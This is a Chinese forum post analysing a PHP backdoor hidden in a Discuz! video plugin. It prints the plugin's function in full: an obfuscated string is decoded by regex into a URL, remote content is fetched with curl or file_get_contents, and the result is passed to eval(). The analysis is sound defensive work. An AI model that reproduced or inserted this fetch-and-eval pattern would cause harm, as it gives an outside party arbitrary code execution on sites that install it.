使用php正则httpABc模糊调用远端链接的preg_replace转化解码方法

民审-M · 发表于 2018-12-6 15:06:17

我们以[西风]视频中心插件为例：
路径：\jameson_sp\function\function_jamesonsp.php
其中：

function z_jameson_sp() {
$lover = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseof`lpsck`xml';
$svip= preg_replace(array("/`.*?`/","/abc/i","/[A-Z_].*[A-Z_]/"),array(".","://","/"),$lover);
if(function_exists('file_get_contents'))
{
$data = file_get_contents($svip);
} elseif (function_exists('curl_init')) {
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL,$svip);
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
$data = curl_exec($ch);
curl_close($ch);
}
return $data;
}
if(function_exists('curl_init')||function_exists('file_get_contents'))eval(z_jameson_sp());

复制代码

我们看到，

$lover = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseof`lpsck`xml';

复制代码

使用正在进行了调用远端链接进行了地址模糊处理，
我们可以使用以下方法解码出来：

游客，如果您要查看本帖隐藏内容请回复

[Discuz!二次开发] 使用php正则httpABc模糊调用远端链接的preg_replace转化解码方法